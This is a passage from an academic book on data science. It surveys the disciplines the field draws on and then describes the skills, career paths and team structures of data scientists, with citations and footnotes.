discover that they are in fact more data-driven than they may have previously

2The scientific method refers to the cycle of theory formation and experimentation introduced by
Newton—see https://en.wikipedia.org/wiki/Scientific_method
3Refer also to Brodie’s later chapter on “what is data science?”.
4See, e.g., https://insidebigdata.com/2017/02/16/the-exponential-growth-of-data/
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perceived, and that, as their respective fields of business transform in the information
age, they need to “activate” their data if they want to continue to prosper. This shift
had already been seen previously in data-intensive academic fields, such as physics
and astronomy, and thus there is much that industry can learn from earlier endeavors.

3 Interdisciplinarity in Data Science

The key to becoming a business player in today’s supercharged “online market” is
the ability to build the necessary “data products.” Successful data science projects
often capitalize on the interface between industry and science by relying, on the one
hand, on a successful interpretation of the use case and the customer needs, coupled
with an attractive, effective design, and on the other hand on building on top of the
right, state-of-the art techniques and tools.

It would be a tall order to cover all the many diverse disciplines for such a project
in equal depth. In practice, this is not necessary in every undertaking. Ideally, a team
of data scientists bundles the required skills, with the individual team members
having different profiles—more on the question of what makes a successful data
scientist can be found in the following chapter. Importantly, one could argue that a
fair amount of fascination for the field of data science derives precisely from this
bridging of business and engineering aspects.

Fig. 2.1 A tag cloud compiled from the tags that researchers at the ZHAW Datalab use to describe
their research (produced with the generator available at https://www.jasondavies.com/wordcloud/)
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Figure 2.1 shows the different academic subfields that data scientists at the
ZHAW Datalab5 use to describe their main lines of research. The figure, a tag
cloud or word cloud (Bateman et al. 2008), nicely illustrates the sheer diversity of
(sub-)disciplines that contribute to data science. We will in the following sections
briefly describe the most important of the contributing academic fields, starting with
the technical-mathematical disciplines, and extending to the additional fields that
have to be covered to truly produce “data products.”

3.1 Computer Science

Computer science, the academic discipline that covers all aspects related to the
design (“hardware”) and use (“software”) of computers (Aho and Ullman 1992), is
a frequent first career path for data scientists. This is on the basis of the two subfields
of data-processing algorithms (Knuth 1968) and information systems
(Ramakrishnan and Gehrke 2002). The former is the study of the way that computers
process data: algorithms describe how computers carry out tasks. The latter deals
with storage, handling, and processing of large amounts of (digital) data—something
that is impossible without the use of computers. Processing and handling data stands
at the core of every (digital) computer. Starting with the introduction of the von
Neumann architecture in 1945 (von Neumann 1993), even the instructions for the
computer are handled equally to the data it processes—both are stored in the same
form, namely, in the volatile main memory and on external storage. Everything is
thus “data” from a computer science perspective. However, not all aspects of
computer science are of equal importance to data science: aspects such as design
of hardware, or software engineering, take backseat to those research lines directly
addressing data and information:

– The storage of data: here, mainly research on database systems (Silberschatz et al.
1997), that is, the persistent storage of structured data, is relevant. Classically, the
“relational model” for databases (Codd 1970) has been the main approach for
storing structured data for a long time. However, in the context of big data
systems, new exciting developments are also pertinent, such as NoSQL databases
(Stonebraker 2010).

– The handling of data: mostly tools-driven. Scripting languages, such as Python
(van Rossum and Drake 2003) or Perl (Wall et al. 1999) are often used for “data
wrangling,” that is, the transformation of data between various formats or
representations.

– The processing or accessing of data and information: here, in addition to algo-
rithmic work that we will treat below under the umbrella of artificial intelligence,
the most important research subfields are data warehousing (for structured data)

5See the preface of this book for more information on the ZHAW Datalab.
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(Chaudhuri and Dayal 1997; Inmon 2005) and Information Retrieval (for unstruc-
tured data) (Schütze et al. 2008). Data warehousing is mostly concerned with the
methods to arrange data for efficient and effective analysis, where information
retrieval extends the research on accessing unstructured textual or multimedia
data to questions on how to interpret the data to satisfy information needs by the
users.

Much of the subfields listed above can be subsumed under the heading “infor-
mation systems.” It should be noted here that the names of these subfields are
somewhat plagued by inconsistent use of the terms “data” and “information.”
Often, they deal in actuality with both aspects—with the “raw” data and with
information, that is, the data coupled with an interpretation (Bellinger et al. 2004).

3.2 Statistics

While computer science delivers the tools to store, process, and query the data,
which is the “fuel” of data science, statistics is at the core of the academic fields that
support the transformation of data into value, for example, in the form of insight or
decisions (Wilcox 2009). When consulting common definitions of the field of
statistics, some of the same boxes we mentioned for information systems are ticked:
statistics deals, much like information systems, with the collection and organization
of data. However, the viewpoint is a fundamentally different one: while in informa-
tion systems, we refer to the storage and processing of data at large in the “mechan-
ical sense,” here we have the focus on the selection and organization of data in the
mathematical sense. This collection is the precursor to analysis, interpretation, and
presentation of data. Statistics provides tools to describe properties of data sets
[“descriptive statistics” (Holcomb 1997)] as well as drawing conclusions from data
sets that are a sample of a larger population [“inferential statistics” (Wasserman
2013)]. Crucially, statistics provides the tools (tests) to verify hypotheses as to the
relationship between variables and data sets and provides a different angle to work
done in computer science on machine learning.

3.3 Artificial Intelligence

Artificial intelligence (AI) (Russell and Norvig 2010), and especially its branch
machine learning, is typically treated as a subfield of computer science, and sits
nicely at the intersection of computer science, statistics, and several other disci-
plines. AI generally studies solutions to complex problems arising in areas such as
human perception, communication, planning, and action (Luger 2008). Most rele-
vant for data science, but not uniquely so, is the branch of machine learning that
studies algorithms that can “learn” from data, based on pattern recognition in data
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sets (Bishop 2007). There is potential in increasingly combining this with logic-
based AI that reasons over ontologies.6 Ideally, the learning improves performance
on a given task without the need for a human to program an explicit solution (Samuel
1959). This is both attractive in cases where such an explicit solution is very
complex or if the task deals with constantly changing parameters.

Supervised (machine) learning is based on providing the learning algorithm pairs
of possible inputs and their corresponding outputs. Based on this “training data,” a
desired mapping function or algorithm is learned. A key problem in this context is
potential overfitting, that is, if the learning process picks up undesired artifacts
present in the training data that are not representative of the larger population of
possible inputs. More fundamentally, suitable training data may be difficult and
costly to obtain. In unsupervised (machine) learning, the aim is to find hidden
structure in data sets without the use of training labels.

3.4 Data Mining

Another subfield straddling the boundaries of computer science and statistics is data
mining. The term is used in somewhat different ways, with many different forms of
information processing being labelled as data mining (Witten et al. 2016). Generally,
it applies principles from machine learning, statistics, and data visualization, where
the goal is the detection of previously unknown patterns in data.7 The differentiation
to data science lies in the focus on the extracted patterns themselves, whereas data
science covers a broader range of topics already beginning at data collection with the
explicit goal of a data product in the end. Data mining can thus be thought of as a
predecessor paradigm to interdisciplinary work on data by applying fundamental
results from, for example, the analytics fields of statistics or machine learning.

3.5 Additional Technical Disciplines

There are multiple additional technical disciplines that contribute to the “umbrella
field” of data science. We want to make a special note of some of these: on the one
hand, there is business intelligence (Chen et al. 2012), which stands at the interface
between technical aspects and management and aims to leverage the data to provide
a view on business operations. On the other hand, there are several disciplines that

6Pointed out, e.g., by Emmanuel Mogenet from Google, at the Zurich Machine Learning & Data
Science Meetup in February 2017, talking about combining subsymbolic (machine learning)
approaches with symbolic (logic-based) AI.
7Rather than detection of the data itself. One could thus argue that the term is unfortunate, and an
alternative along the lines of “mining on data” would be more appropriate.
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dissolved from AI in the last decades and now form their own communities, usually
centered around separate types of data: this includes speech as well as natural
language processing, which deals with processing natural (human) language by
computer (Manning and Schütze 1999; Deng and Yu 2014); computer vision,
which deals with images and video8; or pattern recognition, which deals with the
problem of automatizing human perception tasks (Duda et al. 2001).

3.6 The “Knowledge Discovery in Databases (KDD)” Process

An alternative viewpoint of data science can be taken by referencing the “knowledge
discovery in databases (KDD)” process (Fayyad et al. 1996). Data typically sits at
the bottom of a “knowledge pyramid,” illustrated in Fig. 2.2 (Frické 2009). Simply
put, data can be viewed as a collection of codes that can be stored, organized, and
accessed. Only if a (contextual) meaning is affixed to data does it become informa-
tion. When information is then analyzed and interpreted, and new inferences are
drawn, the result is knowledge. This is, as we have previously pointed out, the goal
of data science, insofar as value is created through new knowledge.

On a conceptual level, the KDD process models this progression from data to
knowledge through a series of stages9:

Fig. 2.2 The knowledge pyramid

8Since 2012, the field of computer vision has been largely changed by recent research on deep
neural networks, see, e.g., Goodfellow et al. (2016) and LeCun (2013).
9Compare also the cross-industry standard process for data mining (Shearer 2000).
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1. Data is first selected (measured, recorded, then initially stored)
2. Then it is pre-processed (noise removal, filling in of missing values, outlier

detection, etc.);
3. It is transformed into a form suitable for analysis (often a 2D table format, after

including feature selection or transformations like Fourier transform)
4. Then it is analyzed (by statistical or machine learning methods to find patterns of

correlation).
5. Finally, the result of potentially multiple analyses is interpreted/evaluated by a

human (or human-devised decision mechanism).

These five stages again tie in nicely with the technical disciplines discussed so far.
An alternative rendering of the KDD process, that puts a slightly different emphasis
on the different stages, aligning it more with the disciplines, could thus read:

1. Data recording
2. Data wrangling (including data cleaning and storage, i.e., in databases or infor-

mation retrieval systems)
3. Data analysis (including statistics, artificial intelligence, and data mining)
4. Data visualization and/or interpretation
5. Decision making

Data science as an interdisciplinary academic field goes far beyond only
technical-mathematical aspects as covered by disciplines such as computer science
or statistics. We like the quote by Hilary Mason, who concisely described data
science as “statistics, computer science, domain expertise, and what I usually call
‘hacking’” (Woods 2012). The chapter has not covered the “domain expertise” bit so
far, but such expertise is crucial for understanding the unique value proposition of
treating data science as a unified pursuit of leveraging data. “Domain expertise” both
addresses the need for knowledge of the different domains that the data originates
from (legal domain, medical domain, etc.), but also more generally the possession of
non-technical skills such as arts and entrepreneurship. The KDD process as outlined
above culminates in data visualization/interpretation and decision making, which
both heavily rely on non-technical expertise as outlined below.

3.7 Data or Information Visualization

At the interface between computer science (computer graphics, see, e.g., Hughes
et al. 2013) and arts (see below) lies data or information visualization (Ware 2012).
In both cases, the goal is a rendering of the data to support better human under-
standing. When choosing the term “data visualization,” more weight is given to the
aspect of raw data visualization (Tufte 2001), whereas “information visualization”
stresses more on the aspect of supporting interpretation of the data through
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visualization.10 Often the terms are used (rather confusingly) interchangeably. In
both cases, the visualization is a communication tool: large amounts of data are
either compressed visually into a rendering that can provide an overview or are
rendered to be explored interactively, with the user zooming in and out of the data to
discover the needed information. The rendering of the results of data analysis is
crucial to feed the KDD stages of interpretation or decision making—data has to be
rendered in such a way that the desired information or knowledge becomes
prominent.

3.8 Arts

The renderings of data or information visualization often combine usefulness with
attractive presentation—giving the resulting graphics a new, artistic dimension. The
term “new digital realism” is used—data being the medium to visualize what exists
“but cannot be seen” (Sey 2015). The analogy to “realism” in classical arts, such as
painting, implies that reality is rendered “as it is”—without emotional interpretation
or subjective frames. This is of course a tall order, insofar as any visualization
consciously puts certain aspects of the data in the forefront, and thus influences
subsequent interpretation. In its most pure form, art in the context of data science
may pursue the finding of “beauty,”11 not value, in data.

3.9 Communication

A totally different, yet important artistic aspect of data science lies in the general
challenge of the communication of results. Data products—any findings, any value
in the data—rely on interpretations, and this discipline and their proponents need the
skills to effectively and truthfully communicate well to stakeholders. We will
explore this angle of “communication as a skill” more in the next chapter, where
we discuss the profile of a successful data scientist.

3.10 Entrepreneurship

Our definition of data science puts the data product in the center: the data product
leverages data to produce value and insight (see Chap. 4). The design of a data
product is much more than a technical exercise, or even an exercise in leveraging

10See also the emerging genre of data journalism: https://en.wikipedia.org/wiki/Data_journalism
11For some examples, see Pickover (2001).
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domain expertise in the narrow sense. Questions of how to frame the value propo-
sition of the product, how to identify the right audience, and how to find the
matching business model arise. These directly address the business-savvy of the
data scientist. Generally speaking, a successful data scientist does well to display a
degree of entrepreneurial spirit: opportunities to seize value have to be anticipated,
based on a deep enough understanding of all three of the following aspects: the
technical possibilities, the potential in the data itself, and the need of some
“customer.”

4 Value Creation in Data Science

The discussion of entrepreneurship brings the overall exposition on data science as a
new field of academic study full circle. Whether data science is perceived as an
amalgamation of different disciplines, essentially harvesting the synergies of com-
bining technical foundations of computer science with analysis insight from statistics
and extending these skills to domain expertise and business-savvy, or whether data
science is more seen as a holistic approach to leverage the value of data: the results of
applied data science projects typically culminate in data products, that is, products
that derive their value from the data they are built on. Data products often come in
the form of data-driven services. Consequently, the discipline of service science
(Spohrer 2009), which is concerned with, among other things, service innovation,
and sits at the intersection of business and information technology, also contributes
to the development of data products (see more details in Chap. 4).

5 Conclusions

In closing the chapter, we want to reflect again on the idea of data science both as a
field of study in its own right and as an umbrella term that allows to describe
interdisciplinary endeavors at the interfaces of the disciplines covered above. As
stated in the introduction, these two views can be interpreted as “top-down” and
“bottom-up.” Both views are complementary and enhance the insight into the nature
of data science. By covering the various (sub-)disciplines, the bottom-up view of
data science as a “unique blend” of the disciplines is represented well. As regards the
top-down view, the essence of data science undertakings is the creation of value
from data (or information). That thought is not necessarily new. If we look at older
fields of study that nowadays contribute to data science projects, such as information
retrieval, then similar themes emerge: by making access to relevant information
possible, Information Retrieval “turns information useful.” Is data science therefore
really more than the sum of its parts? Or could this creation of value take place under
different, potentially even more specific, labels in all cases? Or, put differently, if we
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start with the concept of data science and then remove all the (sub-)disciplines in this
chapter, will we be left with something meaningful?

The last of these questions borders on the philosophical, and the answer is
probably influenced by where we draw the boundaries of the disciplines. But it
may be precisely at the interfaces of the disciplines, or even in the gaps between
them, that data science is an enabler for new concepts. The rewards for venturing
into these spaces between disciplines and finding new, exciting combinations may
be greater than ever. The case studies in the chapters of Part II are a nice testament of
the diversity of research questions or business cases that can be pursued.
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Chapter 3
Data Scientists

Thilo Stadelmann, Kurt Stockinger, Gundula Heinatz Bürki,
and Martin Braschler

Abstract What is a data scientist? How can you become one? How can you form a
team of data scientists that fits your organization? In this chapter, we trace the skillset
of a successful data scientist and define the necessary competencies. We give a
disambiguation to other historically or contemporary definitions of the term and
show how a career as a data scientist might get started. Finally, we will answer the
third question, that is, how to build analytics teams within a data-driven organization.

1 Introduction

Reading contemporary press, one can come under the impression that data scientists
are a rare (Harris and Eitel-Porter 2015), almost mythical, species,1 able to save
companies by means of wonderworking (Sicular 2012) if only to be found (Colum-
bus 2017). This chapter answers three questions: What is a data scientist? How to
become a data scientist? And, how to build teams of data scientists? (see also
Stockinger et al. 2016). Answering these questions will help companies to have
realistic expectations toward their data scientists, will help aspiring data scientists to
plan for a robust career, and will help leaders to embed their data scientists well.

What is a data scientist? As of spring 2018 the ZHAW Datalab, that is, the data
science research institute (DSRI) of the Zurich University of Applied Sciences, has
more than 70 affiliated colleagues that “professionally work on or with data on a
daily basis.”2 The lab includes different kinds of researchers, ranging from computer
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scientists doing analyses with machine learning to domain experts in medical
imaging or quantitative finance, to lawyers working on data protection law. Can
these colleagues be considered as data scientists? From what we know, not all of
these colleagues call themselves primarily data scientists.

However, what is a data scientist? Going beyond the trivial definition of data
scientists being those who conduct data science, we can approach the definition by
sketching the set of skills and qualities of a data scientist as two layers. Figure 3.1
contains these two layers of information: First, the blue bubbles show the contribu-
tions of several competence clusters to the skill set of the data scientist. Second, the
gray labels attached to the data scientist in the center show important qualities of the
personality that are paramount for a data scientist’s professional success. While the
academic (sub-)disciplines underlying these competence clusters were treated in the
previous chapter, we will explore their relations to the work of a data scientist in
conjunction with the character traits in the next section. In Sect. 3, we will disam-
biguate the definition of a data scientist from historical and contemporary alternative
meanings. In Sect. 4, we will show career paths toward data science and finally
discuss how to build effective data science teams in Sect. 5.

Fig. 3.1 The definition of a data scientist by means of personal qualities (gray labels) and skills
(in blue bubbles) as spanned up by this unique cut from several scientific (sub-)disciplines. Revised
and extended from Stadelmann et al. (2013)
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2 The Data Scientist’s Set of Skills and Qualities

Data scientists are T-shaped people (Guest 1991). They have broad interdisciplinary
skills (the crossbar of the “T”) and at the same time they have deep expertise (the T’s
stem) in a much narrower area of this skill set. This section will look at the crossbar
and related soft skills, while Sect. 4 will look at the origins of the stem.

The blue areas in Fig. 3.1 show competence clusters within the data scientist’s set
of skills. The appearing terms have been selected due to their high likelihood of
being important in the daily work on almost any project of a data scientist, in the
following sense: in any project, some skills from any bubble will likely be needed,
that is, some method(s) from the “Analytics” cluster but not all of them. We make no
claim as regards to the completeness of this term set. Let us have a look at the
individual clusters in more detail.

Technology and Data Management Handling data well is crucial enough for any
data scientist to make it a top-level competence cluster. Data management includes,
but is not limited to, big data technologies, databases and respective query languages
like SQL. A background in extract-transform-load processes for data integration and
the fundamentals of relational databases are relevant for many data science projects.
The technology cluster includes various other areas from computer science such as
the application and handling of software systems. Programming skills are paramount
for a data scientist, however, not in the sense of large-scale software development,
but in the form of scripting, for example, for data wrangling tasks. Combining small
scripts in the spirit of the UNIX command line with each other (Peek et al. 1993)
allows for rapid prototyping as well as repeatability of experiments.3 It possibly also
helps for executing analyses in different, even distributed environments.

Analytics Skills in analytics, especially machine learning, are one of the core
competencies of a data scientist to extract knowledge from data. The two main
approaches to analytical methods come from the fields of statistics (Wasserman
2013) and artificial intelligence (Russell and Norvig 2010); the two fields often
provide different individual approaches to similar methods. While discussions
arising from these differences in viewpoint are challenging for any practitioner in
a data science team, they are also a source for mutual interdisciplinary understand-
ing, and hence are very valuable. This has been analyzed thoroughly by
Breiman (2001).

Entrepreneurship Data scientists are not only responsible for the implementation of
an analytical solution for a given problem. Rather, they additionally need entrepre-
neurial skills to ask the right questions with respect to business cases, business
models, and the consequences of the data products on the business and society at

3Experiments that are controlled purely by scripts are repeatable by archiving the code as well as
data together with the results. They can be developed rapidly by re-using scripts from other projects
(which is easier when every script serves exactly one purpose and uses a simple file-based API, as
UNIX shell programs do) and automatizing parameter search.
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large. This includes building up subject matter expertise in the application areas of
the data product at hand, and the appreciation of the personal ethical responsibility.
As many questions in data science touch on fundamental issues in privacy, data
scientists must have knowledge of legal frameworks of their operating
environments.

Communication Being responsible for the complete analytical workflow, data sci-
entists personally communicate their results to (senior) management. Needed skills
thus range from targeted presentation to information visualization in order to convey
complex matters and conclusions in concise ways. It is questionable4 if the creation
of (graphical user interfaces for) web services for the final customers of data products
should be a core part of the data science skill set.

The second layer of information in Fig. 3.1 shows personality trait labels attached
to the data scientist. Being more part of a person’s character than the skill set, it
seems a bit unfair to require them for a job as widespread as a data scientist. On the
other hand, it is a matter of fact that certain jobs fit specific people (Fux 2005). So
what is the impact of these qualities on a practitioner’s work?

Creativity and Expressiveness Both traits help in giving convincing presentations of
the data scientist’s work for internal stakeholders and potential customers. Creativity
reaches even farther in also being a necessity for creating novel results. This plays
into the next point.

Curiosity and Scientific Mindset Curiosity pairs well with enthusiasm. A scientific
mindset will balance utter positivism with basing one’s hopes and findings on facts
through critical hypothesizing, thorough experimentation,5 and precise formulation
of results. Doubt and amazement are both important ingredients for novel solutions.

Business Thinking Thinking economically helps to have a clear goal in mind, on
several levels: it contributes to not losing sight of the complete development process
of a data product when concentrating, for example, on the analytical challenges at
hand; it also helps in allocating resources to the various steps in a project and weigh
options in order to produce business-relevant results. This will ultimately drive the
success of analytics endeavors, since most stakeholders (in businesses, research, or
society) will be convinced not by the coolness of the engineering, but by actually
helpful results delivered on time and on budget.

4We see this better placed in the hands of software engineers; nevertheless, being able to build rapid
prototypes in the way presented in the “Developing Data Products” course by the Johns Hopkins
University (see https://www.coursera.org/learn/data-products) is an interesting additional skill for
any practicing data scientist.
5The scientific method of theory formation (thinking) and collecting empirical evidence
(experimenting) in a closed loop is directly applicable in the daily work of a data scientist. See a
longer exposition of this thought in Stadelmann (2017) and an extension in a later chapter by Brodie
(“On developing data science”).
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Pragmatism The quality to do rapid prototyping and quick experimentation cannot
be underestimated. The analytical work of a data scientist is inherently empirical,
and having a drive toward experimenting and getting one’s hands dirty with code
and messy data is paramount in making progress in many projects. A special sort of
pragmatism with respect to coding—specifically, to be able to abstain from undue
perfectionism in software engineering in early project phases in favor of
“hacking”6—and system design (specifically, to use simple scripts in a command-
line like fashion) helps in keeping efficiency high in usually very complex tool
landscapes.

3 Disambiguation

The following paragraphs deal with disambiguating the definition of a data scientist
as presented above from other meanings used previously or contemporary.

3.1 The History of a Job Description

Probably the first one publicly speaking about data scientists was Jeff Wu (1997),
who suggested to use the term as a replacement for “statistician.” The modern use
presented in the previous section arguably emerged out of discussions between DJ
Patil and Jeff Hammerbacher on how to call their team members at Facebook and
LinkedIn, respectively, that were closer to product development than a usual
“research scientist,” but with more technical skills than a typical “business analyst”
(Patil 2011). Previously, this profile had been called “deep analytical talent” in a
noteworthy report from the McKinsey Global Institute (Manyika et al. 2011) and
was famously rendered in graphic form by Drew Conway (2010) in his “data science
Venn diagram.” The diagram conveyed the notion that a data scientist works at the
intersection of hacking, math (or statistics), and substantive expertise, thereby
discriminating it from traditional research (no hacking), pure machine learning
(no subject matter expertise), and a “danger zone” (no math). Patil and
Hammerbacher added that their data scientists should also be able to communicate
their own results to business owners on top of the deep engineering know-how
embraced also by Conway.

The following years saw a race to ever more elaborate versions of the skill set of a
data scientist, packed into Venn-like diagrams (Taylor 2014). In very short time,

6Take this with a grain of salt: while we plead for hacking to facilitate rapid prototyping, especially
for our audience with a background in computer science, we certainly know about the importance of
careful software engineering for production-ready code. See also Zinkevich (2018) for good advice
for the latter (and the former).
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deep analytical talent was inflated to unicorns (Press 2015), marketed toward C-level
executives as the ones finally being able to “align IT and business” (Jones 2014).
Additionally, expectations toward technical skills grew as well. For example, Brodie
(2015a) pointed out the importance of data curation that involves the work on and
with large IT systems at scale in preparation of the actual data analysis.7

Moreover, data scientists were supposed to carry huge responsibilities due to the
disruptive potential of the paradigm of data-driven decision-making (Needham
2013). This raised the requirement on them to make the attached risks of their
work explicit, for example, by attaching common measures of correctness, com-
pleteness, and applicability to data science results (Brodie 2015a) such as confidence
intervals for all quantitative results.8 The necessity for some measures to this effect
becomes apparent when regarding analysis results from higher-dimensional data: in
dimensions beyond three, human intuition even of experts fails completely, known
under the term “curse of dimensionality” (Bellman 1961). Accordingly, the audience
in a presentation of respective results could be easily and unintentionally mislead
(Colclough 2017),9 drawing fatal business decisions from misinterpretations of
analytical results.

However, an informal survey amongst the ca. 190 participants of the SDS|2015
conference10 revealed that only about 50% of the practicing data scientists apply any
counter-measures against misinterpretation or illusory certainty—also because this is
not required of them by their customers (internally or externally). However, a data
scientist is a scientist: this means following sound scientific practice to not let one’s
own biases and presuppositions overrule experimentally established facts (Brodie
2015b).

3.2 Insightful Debates

Two additional debates provide insight on what can or cannot be expected from a
modern data scientist:

First, the trend in the mid-2010s to make data science results and careers more
easily accessible for a larger number of people (and customers) who might not have
formal education in computer science, math, or statistics. As a side effect, the profile

7Such systems are used to find, gather, integrate, and manage potentially heterogeneous data
sources. This adds up to about 80% of the daily work of a practicing data scientist (Brodie 2015a).
8However, the debate in the Journal of Basic and Applied Social Psychology on the removal of
p-values from all published articles because of a theoretical invalidity of the null hypothesis
significance testing procedure (Trafimow and Marks 2015) shows: reporting confidence intervals
per se is no panacea as it “suffers from an inverse inference problem” as well.
9Colclough (2017) notes that just putting a data visualization on a slide often brings credibility to its
statement, no matter the content of the visualization nor its correctness.
10See https://www.zhaw.ch/en/research/inter-school-cooperation/datalab-the-zhaw-data-science-
laboratory/sds2015/
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of the profession might dilute as the work of a data scientist is reduced to the
operation of self-service Business Intelligence (BI) tools. On the other side of the
same medal, complex and scientifically unsolved problems like social media mon-
itoring (Cieliebak et al. 2014) are promised to get solved at the push of a button.
While natural language processing has certainly made progress to the point of
applicability in many cases, it is not solved in general—and which business owner
can distinguish his very special use case that requires a great deal of generality from
the superficially similar demonstration that works in a quite constrained
environment?11

Seen in relationship with the above-mentioned responsibility of a data scientist
for potential good or harm at scale, this development might be considered danger-
ous. It needs certain skills to draw correct conclusions from data analytics results; it
is thus important to keep the science as an important ingredient in the data scientist.
Business analytics is a part and not a superset of data science; vice versa, not all data
science challenges could and should be approached using readymade BI tool boxes
or BI engineers.12 This leads over to a second debate:

Second, there is a notion of data scientists “type A” and “type B.”13 While “type
A” are basically trained statisticians that have broadened their field (“data science for
people”), “type B” have their roots in programming and contribute stronger to code
and systems in the backend (B for “build,” “data science for software”). So, two of
the main influences for data science as an interdisciplinary field—computer science
and statistics—are taken apart again to emphasize a less interdisciplinary profile.14

Seen from the viewpoint of interdisciplinarity, which is a key concept for the role
of a data scientist, this (and similar) distinctions between mono-disciplinary rooted
types of data scientists are useless. The whole point of interdisciplinarity, and by
extension of the data scientists, is for proponents to think outside the box of their
original disciplines (which might be statistics, computer science, physics, econom-
ics, or something completely different) and acquire skills in the neighboring disci-
plines in order to tackle problems outside of intellectual silos. Encouraging
practitioners to stay in their silos, as suggested by the A/B typology, is counterpro-
ductive, as it is able to quench this spirit of out-of-the-box thinking.

The debate, however, is well suited in that it challenges the infamous—and often
unrealistic—“unicorn” description of a data scientist who is supposed to be an
“expert in each and everything.” A concept that addresses the same concern but

11See http://xkcd.com/1425/. While the described phenomenon might be easy to solve in the year
2018, a contemporary example would be chatbots.
12The same applies to automated machine learning, although such systems have a real value for
certain applications.
13Jaokar (2016) refers to a quora post by Michael Hochster for the origins: https://www.quora.com/
What-is-data-science
14T-shaped people will have their roots—their depth—mostly in one field; hence, the problem
described here arises not from different expressions of the T-shape per se, but from specifically
differentiating what lead to the notion of a data scientist in the first place: combining computer
science and statistical know-how (see Sect. 3.1).
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arrives at different conclusions is the one of data scientists “Type I” and “Type II.”15

“Type II” data scientists are managers, concerned with hiring and leading data
practitioners and having a more high-level view of data sciences’ potentials and
workings. On the other hand, “Type I” data scientists know how to “do the stuff”
technically. This opens up the way to combined curricula for manager-type people
and technically oriented people (different roles) while not compromising the inter-
disciplinary profile of either of them.

On the other hand, the attempt to isolate sub-types of a “Type I” comes down to
merely re-labeling traditional job titles like statistician, business analyst, BI special-
ist, data miner, database engineer, software engineer, et cetera. If these titles fit the
role, that is, accurately describe the skill set and breadth of the job description, they
are still appropriate and very precise. If the job, however, requires the broader
experience of a data scientist—the crossbar of the T instead of just the stem—this
could be indicated using the proper description of data scientist. Problems arise if an
expected but missing crossbar experience leads to weakening the credibility of the
discipline of data science.

4 Starting a Data Science Career

If data scientists are interdisciplinary by nature with T-shaped skill profiles, trying to
define what a data scientist is comes down to giving bounds on the width of that T’s
crossbar (how much interdisciplinary experience is necessary?) and the height of the
T’s pole (to what degree is this a specialist in some subset of skills?). The following
bounds are subjective (as being based on personal experience), but can serve in
giving guidelines as to what to expect from a senior data scientist, with our definition
of “coverage” following in the next but one paragraph.

As for the crossbeam of the “T”, a senior data scientist should cover a majority—
we guesstimate ca. 80%—of the terms on the competency map in Fig. 3.1, distrib-
uted over all five of the blue competence clusters. This usually means that individual
senior data scientists should be firmly anchored in one of these clusters and have a
solid understanding in at least two others without avoiding the balancing act between
the technical-analytical and entrepreneurial-communicative hemispheres. Thus, the
necessary interdisciplinary breadth of knowledge is ensured without calling upon
mythical beasts.

The intended “covering”means that the data scientist should have an understand-
ing of the respective terms (e.g., “Natural Language Processing” within the “Ana-
lytics” cluster, or “Law” within “Entrepreneurship”) deep enough to recognize
certain opportunities or potential issues arising in the current project from this

15The naming itself is not important. The concept has been incorporated into the academic MSc
Data Science program of the University of Sheffield (see https://www.sheffield.ac.uk/postgraduate/
taught/courses/sscience/is/data-science) and seems to go back to Tierney (2013).
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domain, and in case of doubt they can involve an expert. This level of understanding
is usually gained by the equivalent of working hands on with the topic for a limited
time or doing a typical one semester introductory course, that is, it is not expert-level
knowledge. The necessary skills can be trained, given a disposition to quantitative,
complex, and technical matters.

Regarding the stem of the “T”, a typical career starts with undergraduate studies,
for example, in statistics, computer science, or another data-intensive science. From
there, interdisciplinary skills can be built either by a data science master’s degree,
hands-on collaborations with other disciplines, or continuing education. If personal
interests suggest a closer look into research, a PhD is a good option, but not all
education has to be formal.16 In our experience, it is more important to show a good
track record of projects one was engaged with in order to qualify for advertised data
scientist positions. Projects in this regard is a loose term—included are also personal
projects or those that are part of course work. What counts is the demonstration of
gained experience, for example, by cultivated personal GitHub pages or blogs,
published research articles, or by contributions to publicly available products.
Certificates themselves are not sufficient due to them becoming more and more
omnipresent among candidates.

A data science curriculum—whether offered by any institution in the higher
education sector, or self-composed—should address the following three levels
(measured in terms of distance to actual cases studies that could be solved). The
content of the business layer is close to the case study that needs to be grasped in
detail by the data scientist. This influences the choice of algorithms in the next layer
but is more or less independent from the technical infrastructure in layer 3.

1. Business:

(a) Visualization and communication of results
(b) Privacy, security, and ethics
(c) Entrepreneurship and data product design

2. Algorithms:

(a) Data mining and statistics
(b) Machine learning
(c) Information Retrieval and natural language processing
(d) Business intelligence and visual analytics

3. Infrastructure:

(a) Databases, data warehouses, and information systems
(b) Cloud computing and big data technology

16Especially in the context of data and computer science, online courses like the ones offered by
Coursera (https://www.coursera.org/specializations/jhu-data-science) or Udacity (https://www.
udacity.com/nanodegree) have a good credibility.
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Ideally, such a curriculum considers this intimate connection between the appli-
cation of data science in actual cases studies, on the one hand, and the fundamentals
of data science like details of methods, on the other hand, already in the coursework.
This can be achieved by connecting the relevant theory with project work in certain
problem domains, for example, predictive maintenance (industry), medical imaging
(health), algorithmic trading (finance), churn prediction (marketing), speech
processing (technology), building control (energy), etc. These case studies run
cross to all three layers from above.

We see the analytical aspects as central to any data science education: machine
learning, statistics, and the underlying theories have to be solidly mastered by any
data scientist in order to decide on feasibility and perform impact assessment. These
skills—the “deep analytical talent” or “deep engineering know-how” as it has been
called by various thought leaders—are the ones most deeply learned early on in
one’s vocational career (i.e., better studied thoroughly for years than acquired using
a crash course). They are also the ones that host the greatest potential both in terms of
risks and opportunities when unleashed on the world. Data scientists thus owe a
responsible mastership of the engineering aspects to their environment.

5 Building Data Science Teams

Finding a senior—mature, “complete”—data scientist as described in the previous
section might be difficult for an employer. Even if it was not so, it is advisable to let
data scientists work in teams where the crossbows of the respective team members’
T’s overlap considerably, but the poles dig into different territory of the skill set map
(Olavsrud 2015). This way, not only can the less wide crossbars of less senior data
scientists be integrated, but the full potential of interdisciplinarity can be leveraged.
How should such teams be embedded into the organization?

Executive-level support for establishing data and analytics as a strategic capabil-
ity is one of the key success factors for enabling a company to do data-driven,
automated decision-making. We will look at the following two main aspects of
building data science teams17:

1. Shape an adequate operational model for the organization’s advanced analytics
capabilities and associated governance.

2. Identify data-driven use cases that have a big impact on the business and therefore
the most added value.

17Other aspects are highlighted, e.g., by Stanley and Tunkelang (2016).
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5.1 Operational Models for Advanced Analytics

Three main operational models exist for building a common data-driven culture in an
organization (Hernandez et al. 2013). For an organization to decide for a specific
one, this operational model has to align with the enterprise strategy first. Second, the
complexity and maturity of the enterprise regarding data-driven decision-making is
relevant. The choice of model thus depends on the organization’s structure, size, and
experience in this topic. The three models are as follows:

(a) Centralized unit within the IT or finance department
The structure of such an organization is simple and focuses on allocating

